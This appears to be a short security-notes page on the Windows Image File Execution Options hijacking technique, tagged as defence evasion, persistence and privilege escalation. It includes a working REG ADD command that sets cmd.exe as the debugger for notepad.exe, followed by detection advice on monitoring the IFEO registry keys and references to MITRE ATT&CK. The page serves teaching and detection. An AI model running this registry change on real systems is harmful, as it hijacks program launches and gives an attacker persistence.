description |
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Defense Evasion, Persistence, Privilege Escalation |
Modifying registry to set cmd.exe as notepad.exe debugger, so that when notepad.exe is executed, it will actually start cmd.exe:
{% code title="attacker@victim" %}
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "cmd.exe"
{% endcode %}
Launching a notepad on the victim system:
Same from the cmd shell:
Monitoring command line arguments and events modifying registry keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable>
and HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable>
should be helpful in detecting this attack:
{% embed url="https://attack.mitre.org/wiki/Technique/T1183" %}
{% embed url="https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/" %}
{% embed url="https://blogs.msdn.microsoft.com/reiley/2011/07/29/a-debugging-approach-to-ifeo/" %}